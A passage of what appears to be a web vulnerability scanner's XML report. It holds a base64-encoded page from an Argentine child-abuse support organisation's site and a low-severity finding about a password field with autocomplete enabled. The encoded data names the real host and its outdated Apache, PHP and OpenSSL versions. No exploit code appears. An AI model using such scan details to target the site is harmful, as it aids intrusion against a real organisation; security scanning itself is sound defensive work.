CAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iIiBoZWlnaHQ9IjM1IiBhbGlnbj0ibGVmdCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIGNsYXNzPSJjb250ZW5pZG9ob21lIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIGNvbHNwYW49IjMiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48c3Ryb25nPjxhIGhyZWY9ImphdmFzY3JpcHQ6OyIgY2xhc3M9ImRlc3RhY2Fkb3MiPklWIENvbmdyZXNvIEludGVybmFjaW9uYWwgdmlvbGVuY2lhLCBtYWx0cmF0byB5IGFidXNvPC9hPjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQlIiBjb2xzcGFuPSIzIiByb3dzcGFuPSI0IiBjbGFzcz0iY29udGVuaWRvaG9tZSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkJCQkJCQkJCSAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI0JSIgaGVpZ2h0PSIzMCIgdmFsaWduPSJtaWRkbGUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzJSIgaGVpZ2h0PSIzMCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNFRkVGRUYiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIzMCIgY29sc3Bhbj0iMiIgYWxpZ249ImxlZnQiIHZhbGlnbj0ibWlkZGxlIiBiZ2NvbG9yPSIjRUZFRkVGIiBjbGFzcz0iY29udGVuaWRvaG9tZSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMxMCIgY2xhc3M9ImJvdG9uIj48c3Ryb25nPkVsIGNvbGVnaW8gZGUgUHNpY/Nsb2dvcyBkZSBD83Jkb2JhIHNlIHByb251bmNpYSBlbiByZWxhY2nzbiBhbCBTQVAgeSBlbiBjb25jb3JkYW5jaWEgY29uIGxvIGV4cHJlc2FkbyBwb3IgZWwgQ29sZWdpbyBkZSBQc2lj82xvZ29zIGRlIE1hciBkZWwgUGxhdGEgeSBlbCBDb2xlZ2lvIGRlIFBzaWPzbG9nb3MgZGUgbGEgIFByb3ZpbmNpYSBkZSBCdWVub3MgQWlyZXM8L3N0cm9uZz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgoJCQkJCQkJCQkgIAkJCQkJCQkJCSAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI0JSIgaGVpZ2h0PSIzMCIgdmFsaWduPSJtaWRkbGUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzJSIgaGVpZ2h0PSIzMCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNGRkZGRkYiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIzMCIgY29sc3Bhbj0iMiIgYWxpZ249ImxlZnQiIHZhbGlnbj0ibWlkZGxlIiBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0iY29udGVuaWRvaG9tZSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwOSIgY2xhc3M9ImJvdG9uIj48c3Ryb25nPlNhbHVkIEFjdGl2YSBvdG9yZ2EgbWVkaWFzIGJlY2FzIHBhcmEgZWwgSVYgQ29uZ3Jlc28gSW50ZXJuYWNpb25hbCwgViBOYWNpb25hbCwgVkkgUmVnaW9uYWwgVmlvbGVuY2lhLCBNYWx0cmF0byB5IEFidXNvLjwvc3Ryb25nPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CgkJCQkJCQkJCSAgCQkJCQkJCQkJICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQlIiBoZWlnaHQ9IjMwIiB2YWxpZ249Im1pZGRsZSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMlIiBoZWlnaHQ9IjMwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjMwIiBjb2xzcGFuPSIyIiBhbGlnbj0ibGVmdCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA4IiBjbGFzcz0iYm90b24iPjxzdHJvbmc+TkVDRVNJVEFNT1MgREUgU1UgU09MSURBUklEQUQgSEFDSUEgTE9TIE5J0U9TIFkgTknRQVMhISE8L3N0cm9uZz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgoJCQkJCQkJCQkgIAkJCQkJCQkJCSAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI0JSIgaGVpZ2h0PSIzMCIgdmFsaWduPSJtaWRkbGUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzJSIgaGVpZ2h0PSIzMCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNGRkZGRkYiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIzMCIgY29sc3Bhbj0iMiIgYWxpZ249ImxlZnQiIHZhbGlnbj0ibWlkZGxlIiBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0iY29udGVuaWRvaG9tZSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNyIgY2xhc3M9ImJvdG9uIj48c3Ryb25nPlNBTFVEIEFDVElWQSBoYSBzaWRvIGVsZWdpZGEgcG9yIHNlZ3VuZGEgdmV6IGNvbnNlY3V0aXZhIGNvbW8gdW5vIGRlIGxvcyBnYW5hZG9yZXMgZGVsIEN1YXJ0byBDb25jdXJzbyBkZSBQcm95ZWN0b3MgU29jaWFsZXMgZGUgUGV0cm9icmFzPC9zdHJvbmc+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KCQkJCQkJCQkJICAJCQkJCQkJCQkgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNCUiIGhlaWdodD0iMzAiIHZhbGlnbj0ibWlkZGxlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyUiIGhlaWdodD0iMzAiIHZhbGlnbj0ibWlkZGxlIiBiZ2NvbG9yPSIjRUZFRkVGIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMzAiIGNvbHNwYW49IjIiIGFsaWduPSJsZWZ0IiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiIgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDYiIGNsYXNzPSJib3RvbiI+PHN0cm9uZz5P7XIgbyBlc2N1Y2hhcjwvc3Ryb25nPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CgkJCQkJCQkJCSAgCQkJCQkJCQkJICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQlIiBoZWlnaHQ9IjMwIiB2YWxpZ249Im1pZGRsZSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMlIiBoZWlnaHQ9IjMwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0ZGRkZGRiI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjMwIiBjb2xzcGFuPSIyIiBhbGlnbj0ibGVmdCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNGRkZGRkYiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA1IiBjbGFzcz0iYm90b24iPjxzdHJvbmc+RWwgZGVyZWNobyBkZSBsb3Mgbmnxb3MgYSBzZXIgZXNjdWNoYWRvczwvc3Ryb25nPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CgkJCQkJCQkJCSAgCQkJCQkJCQkJICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQlIiBoZWlnaHQ9IjMwIiB2YWxpZ249Im1pZGRsZSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMlIiBoZWlnaHQ9IjMwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjMwIiBjb2xzcGFuPSIyIiBhbGlnbj0ibGVmdCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA0IiBjbGFzcz0iYm90b24iPjxzdHJvbmc+QWJ1c28gc2V4dWFsIGluZmFudGlsLiBEZXNhZmlvcyBkZSBsYSBjbGluaWNhIGFjdHVhbDwvc3Ryb25nPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CgkJCQkJCQkJCSAgCQkJCQkJCQkJICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQlIiBoZWlnaHQ9IjMwIiB2YWxpZ249Im1pZGRsZSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMlIiBoZWlnaHQ9IjMwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0ZGRkZGRiI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjMwIiBjb2xzcGFuPSIyIiBhbGlnbj0ibGVmdCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNGRkZGRkYiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAzIiBjbGFzcz0iYm90b24iPjxzdHJvbmc+U2FsdWQgQWN0aXZhIG5lY2VzaXRhIGRlIHR1IGF5dWRhITwvc3Ryb25nPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CgkJCQkJCQkJCSAgCQkJCQkJCQkJICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQlIiBoZWlnaHQ9IjMwIiB2YWxpZ249Im1pZGRsZSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMlIiBoZWlnaHQ9IjMwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjMwIiBjb2xzcGFuPSIyIiBhbGlnbj0ibGVmdCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNFRkVGRUYiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAyIiBjbGFzcz0iYm90b24iPjxzdHJvbmc+UkVQVURJTyBBIExBIFBSRVNFTkNJQSBFTiBMQSBGRVJJQSBERUwgTElCUk8gREUgVU4gRVggSlVFWiBBQ1VTQURPIERFIEFCVVNPIFNFWFVBTDwvc3Ryb25nPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CgkJCQkJCQkJCSAgCQkJCQkJCQkJICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQlIiBoZWlnaHQ9IjMwIiB2YWxpZ249Im1pZGRsZSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMlIiBoZWlnaHQ9IjMwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0ZGRkZGRiI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjMwIiBjb2xzcGFuPSIyIiBhbGlnbj0ibGVmdCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNGRkZGRkYiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAwIiBjbGFzcz0iYm90b24iPjxzdHJvbmc+VU5BIEpVRVpBIERFIFZJTExBIEdFU0VMTCBSRUNIQVpPIEVMIFBFRElETyBERSBVTiBQQURSRSBRVUUgU0UgQVBPWUFCQSBFTiBFTCBTQVAsIERFTlVOQ0lBRE8gUE9SIEFCVVNBUiBERSBTVSBISUpPPC9zdHJvbmc+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KCQkJCQkJCQkJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjIwIiBjb2xzcGFuPSI3IiBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3X3RvZGFzIiBjbGFzcz0iYm90b24iPjxzdHJvbmc+VmVyIFRvZGFzIGxhcyBOb3RpY2lhczwvc3Ryb25nPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogIDwvdHI+CjwvdGFibGU+CjwvdGQ+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gICAgICAgICAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFM0UzRTMiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSI3MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNiUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9kZWNpbG9fYmllbl9mdWVydGUxLmpwZyIgd2lkdGg9IjEyMCIgaGVpZ2h0PSIxMTIiPjwvdGQ+CiAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiA+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTI0IiBjbGFzcz0iYm90b24xIj5bK10gTSZhYWN1dGU7cyBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0UzRTNFMyI+ICAgICAgICA8L3RyPgogICAgICAgIDx0cj4gCiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj4mbmJzcDs8L3RkPgogICAgICAgIDwvdHI+CiAgICA8L3RhYmxlPjwvdGQ+CiAgPC90cj4KICA8dHI+IAogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSI+PGltZyBzcmM9ImltZy9penExLmpwZyIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjExNCIgLz48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9RdWllbmVzU29tb3NfQTJfMF8yNS5qcGciIHdpZHRoPSI4MDkiIGhlaWdodD0iMTE0IiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcDIiIC8+PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI1MCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzE4XzE4LmpwZyI+Jm5ic3A7PC90ZD4KICAgIDx0ZCBoZWlnaHQ9IjUwIiBjbGFzcz0iZm9uZG9ib3R0b20iPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2l0ZWkuY29tLmFyLyI+PGltZyBzcmM9ImltZy9laV9jb2xvci5wbmciIGFsdD0iZXNwYWNpb3MgZGUgaW1hZ2luYWNpb24sIGRlc2Fycm9sbG9zIGludGVyYWN0aXZvcywgY3JlYXRpdmlkYWQsIGRpc2XxbyIgd2lkdGg9IjI3IiBoZWlnaHQ9IjE1IiBib3JkZXI9IjAiPjwvYT4gPHNwYW4gY2xhc3M9ImVpIj48YSBocmVmPSJodHRwOi8vd3d3LnNpdGVpLmNvbS5hci8iIHNwYW4gY2xhc3M9ImVpIj5kaXNlJm50aWxkZTtvICsgY29tdW5pY2FjaSZvYWN1dGU7bjwvYT48L3NwYW4+PGVtPiZuYnNwOzwvZW0+PC9zcGFuPjxzcGFuIGNsYXNzPSJibGFuY28xIj48ZW0+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9lbT48L3NwYW4+PC90ZD4KICA8L3RyPgo8L3RhYmxlPgoKCjxtYXAgbmFtZT0iTWFwMiI+PGFyZWEgc2hhcGU9InJlY3QiIGNvb3Jkcz0iMjQ3LDY5LDQxNCw4MiIgaHJlZj0ibWFpbHRvOnNhbHVkYWN0aXZhQHNhbHVkYWN0aXZvLm9yZy5hciI+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcCI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM2LDE0MiwxNDksMTUyIiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MiI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM0LDE4NiwxNTAsMTk2IiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MCI+CjwvbWFwPgo8L2JvZHk+CjwvaHRtbD4K]]></response>
96 <responseRedirected>false</responseRedirected>
97 </requestresponse>
98 </issue>
99 <issue>
100 <serialNumber>6589706705335705600</serialNumber>
101 <type>5244928</type>
102 <name>Password field with autocomplete enabled</name>
103 <host ip="200.20.20.201">http://www.example.org.ar</host>
104 <path><![CDATA[/index.php]]></path>
105 <location><![CDATA[/index.php]]></location>
106 <severity>Low</severity>
107 <confidence>Certain</confidence>
108 <issueBackground><![CDATA[Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.<br><br>The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks. ]]></issueBackground>
109 <remediationBackground><![CDATA[To prevent browsers from storing credentials entered into HTML forms, you should include the attribute <b>autocomplete="off"</b> within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).]]></remediationBackground>
110 <issueDetail><![CDATA[The page contains a form with the following action URL:<ul><li>http://www.example.org.ar/login.php</li></ul>The form contains the following password field with autocomplete enabled:<ul><li>pass</li></ul>]]></issueDetail>
111 <requestresponse>
112 <request base64="true"><![CDATA[R0VUIC9pbmRleC5waHAgSFRUUC8xLjENCkhvc3Q6IHd3dy5zYWx1ZGFjdGl2YS5vcmcuYXINCkFjY2VwdDogKi8qDQpBY2NlcHQtTGFuZ3VhZ2U6IGVuDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBXaW42NDsgeDY0OyBUcmlkZW50LzUuMCkNCkNvbm5lY3Rpb246IGNsb3NlDQoNCg==]]></request>
113 <response base64="true"><![CDATA[SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA3IE5vdiAyMDEzIDE3OjE0OjA1IEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjIzIChVbml4KSBtb2Rfc3NsLzIuMi4yMyBPcGVuU1NMLzAuOS44ZS1maXBzLXJoZWw1DQpYLVBvd2VyZWQtQnk6IFBIUC81LjIuMTcNCkV4cGlyZXM6IFRodSwgMTkgTm92IDE5ODEgMDg6NTI6MDAgR01UDQpDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MA0KUHJhZ21hOiBuby1jYWNoZQ0KQ29ubmVjdGlvbjogY2xvc2UNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sDQpDb250ZW50LUxlbmd0aDogNjA2MDYNCg0KIDxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xIiAvPgo8dGl0bGU+U2FsdWQgQWN0aXZhIC0gQWJ1c28gdmlvbGVuY2lhIHkgbWFsdHJhdG88L3RpdGxlPgoKPHNjcmlwdD4gCiAgICAvL2VzdG8gcGFyYSBwYXNhcmxlIGFsIGZsYXNoIGxhcyB2YXJpYWxiZXMgZGVsIHBocAogCQoKCXZhciBib3Q9Jyc7Ci8vYWxlcnQodmFyaWFibGVTZXJ2aWRvcik7Cjwvc2NyaXB0Pgo8c2NyaXB0IGxhbmd1YWdlPSJKYXZhU2NyaXB0IiB0eXBlPSJ0ZXh0L0phdmFTY3JpcHQiPgo8IS0tCmZ1bmN0aW9uIE1NX3ByZWxvYWRJbWFnZXMoKSB7IC8vdjMuMAogIHZhciBkPWRvY3VtZW50OyBpZihkLmltYWdlcyl7IGlmKCFkLk1NX3ApIGQuTU1fcD1uZXcgQXJyYXkoKTsKICAgIHZhciBpLGo9ZC5NTV9wLmxlbmd0aCxhPU1NX3ByZWxvYWRJbWFnZXMuYXJndW1lbnRzOyBmb3IoaT0wOyBpPGEubGVuZ3RoOyBpKyspCiAgICBpZiAoYVtpXS5pbmRleE9mKCIjIikhPTApeyBkLk1NX3Bbal09bmV3IEltYWdlOyBkLk1NX3BbaisrXS5zcmM9YVtpXTt9fQp9Ci8vLS0+Cjwvc2NyaXB0Pgo8b